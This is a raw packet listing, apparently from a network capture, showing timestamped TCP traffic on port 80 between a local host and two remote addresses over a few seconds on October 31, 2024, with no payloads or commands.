Oct 31, 2024 20:52:45.146372080 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.146431923 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.146444082 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.146455050 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.146467924 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.146527052 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.146538973 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.146548986 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.146560907 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.146574974 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.146667004 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.146677971 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.146687984 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.146698952 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.146717072 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.146739006 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.146749973 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.146760941 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.146941900 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.146954060 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.146965981 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.146981001 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.146994114 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147070885 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147082090 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147093058 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147104979 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147118092 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147207975 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.147409916 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147422075 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147440910 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147475958 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.147500038 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147500992 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.147514105 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147525072 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147536993 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147561073 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.147584915 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.147650957 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147664070 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147675037 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147686005 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147692919 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147700071 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147702932 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.147711992 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147727013 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147739887 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147752047 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.147785902 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.147794962 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147806883 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147845030 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.147851944 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147866011 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147876978 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147887945 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.147900105 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.147924900 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.148399115 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.148438931 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.148451090 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.148459911 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.148495913 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.148499012 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.148521900 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.148535013 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.148549080 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.148586035 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.148603916 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.148603916 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.148675919 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.148695946 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.148708105 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.148746014 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.148770094 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.148801088 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.148814917 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.148828030 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.148869991 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.148938894 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.148952961 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.148963928 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.148974895 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.148993015 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.148993015 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.149005890 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.149049997 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.149050951 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.149050951 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.149061918 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.149076939 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.149094105 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.149120092 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.149137020 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.149149895 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.149161100 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.149209976 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.149213076 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.149224997 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.149240017 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.149251938 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.149255991 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.149287939 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.149657965 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.149672031 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.149679899 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.149749041 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.149763107 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.149774075 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.149786949 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.149799109 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.149847031 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.149862051 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.149874926 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.149885893 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.149899006 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.149910927 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.149919987 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.149945974 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.149995089 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.150007963 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.150018930 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.150029898 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.150042057 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.150053024 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.150059938 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.150065899 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.150079966 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.150085926 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.150093079 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.150106907 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.150108099 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.150142908 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.150590897 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.150604010 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.150615931 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.150655031 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.150667906 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.150679111 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.150685072 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.150696039 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.150708914 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.150721073 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.150729895 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.150748014 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.150917053 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.150944948 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.150957108 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.150998116 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.151007891 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.151021004 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.151031971 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.151043892 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.151070118 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.151108980 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.151124954 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.151143074 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.151154995 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.151166916 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.151179075 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.151199102 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.151221991 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.151293993 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.151310921 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.151329994 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.151340961 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.151343107 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.151355028 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.151366949 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.151379108 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.151390076 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.151396990 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.151396990 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.151402950 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.151416063 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.151422024 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.151446104 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.151916027 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.151930094 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.151942015 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.151982069 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.151997089 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.151998997 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.152008057 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.152020931 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.152034044 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.152046919 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.152046919 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.152076960 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.152122021 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.152136087 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.152147055 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.152158976 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.152168989 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.152174950 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.152188063 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.152201891 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.152213097 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.152215958 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.152232885 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.152255058 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.207464933 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.210455894 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.602927923 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.607912064 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.887010098 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.887032986 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.887042999 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.887053967 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.887065887 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.887080908 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.887092113 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.887104034 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.887115955 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.887115955 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.887140036 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.887152910 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.887162924 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.887162924 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.887166023 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.887181997 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.887203932 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.887808084 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.924984932 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.925009966 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.925021887 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.925033092 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.925044060 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.925059080 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.925072908 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.925091028 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.925101995 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.925102949 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.925112009 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.925113916 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.925124884 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.925153971 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.925534010 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.929991007 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.930023909 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:45.930119991 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:45.948292017 CET	49785	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:45.948292971 CET	49782	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:45.953097105 CET	80	49785	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:45.953299999 CET	49785	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:45.953439951 CET	49785	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:45.953536034 CET	80	49782	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:45.953602076 CET	49782	80	192.168.2.4	185.215.113.43
Oct 31, 2024 20:52:45.958508968 CET	80	49785	185.215.113.43	192.168.2.4
Oct 31, 2024 20:52:46.046749115 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.046765089 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.046785116 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.046806097 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.046817064 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.046828032 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.046839952 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.046850920 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.046855927 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.046946049 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.046957016 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.046957016 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.046957016 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.046979904 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.046992064 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.047043085 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.047076941 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.047089100 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.047172070 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.047183990 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.047194004 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.047251940 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.047252893 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.047259092 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.047271967 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.047282934 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.047414064 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.047487974 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.047499895 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.047509909 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.047521114 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.047533035 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.047544956 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.047549963 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.047550917 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.047557116 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.047583103 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.047740936 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.047743082 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.094007969 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.094026089 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.094038010 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.094110012 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.094149113 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.094207048 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.094227076 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.094238997 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.094249010 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.094357967 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.094357967 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.094357967 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.095041037 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.095052004 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.095063925 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.095604897 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.095634937 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.095676899 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.095689058 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.095700026 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.095714092 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.095726013 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.096247911 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.096259117 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.096268892 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.096273899 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.096280098 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.096292019 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.096303940 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.096491098 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.097002983 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.097161055 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.099061966 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.099109888 CET	80	49784	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.101066113 CET	49784	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.109316111 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.207114935 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.207130909 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.207144976 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.207156897 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.207221985 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.207221985 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:46.207408905 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.207421064 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.207431078 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.207442045 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.207453012 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.207463980 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:46.207474947 CET	80	49766	185.215.113.16	192.168.2.4
